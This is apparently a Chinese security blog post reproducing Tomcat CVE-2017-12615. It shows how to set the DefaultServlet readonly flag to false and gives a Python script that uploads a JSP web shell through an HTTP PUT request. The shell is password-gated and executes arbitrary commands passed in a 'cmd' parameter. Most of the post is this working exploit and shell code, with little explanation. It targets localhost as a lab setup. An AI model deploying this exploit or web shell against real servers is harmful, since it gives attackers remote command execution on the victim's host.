Tomcat put CVE-2017-12615

_+felkdv

已于 2022-02-16 02:15:30 修改

阅读量372

点赞数

分类专栏：安全技术文章标签： tomcat java

于 2022-02-16 00:33:52 首次发布

本文链接：https://blog.csdn.net/lylong0703/article/details/122952326

版权

安全技术专栏收录该内容

7 篇文章 0 订阅

订阅专栏

启动tomcat

在这里插入图片描述

成因
在这里插入图片描述
允许put 自己加因为后来修复了


    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param> 
            <param-name>readonly</param-name> 
            <param-value>false</param-value> 
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

状态码201 上传成功，204已存在
验证马

import urllib3
class RequestAbs:
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64)',
    }

    http = urllib3.PoolManager()

    status = 0

    def POST(self,url,header = headers,retries=False,redirect=False,body = """"""):
        response = self.http.request('POST', url, body=body, headers=header,redirect=redirect,retries=retries)
        self.status = response.status
        return response


    def GET(self,url,header = headers,retries=False,redirect=False):
        response = self.http.request('GET',url, retries=retries, redirect=redirect,headers=header)
        self.status = response.status
        return response

    def PUT(self,url,header = headers,retries=False,redirect=False,body = """"""):
        response = self.http.request('PUT', url, retries=retries, redirect=redirect, headers=header,body=body)
        self.status = response.status
        return response

    def DAta(self,response,encode = "'utf-8'"):
        return response.data.decode(encode)


body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

RE = RequestAbs()
DAta = RE.PUT(
    url="http://localhost:8080/l.jsp/",
    body=body
)

print(RE.DAta(DAta))
print(RE.status)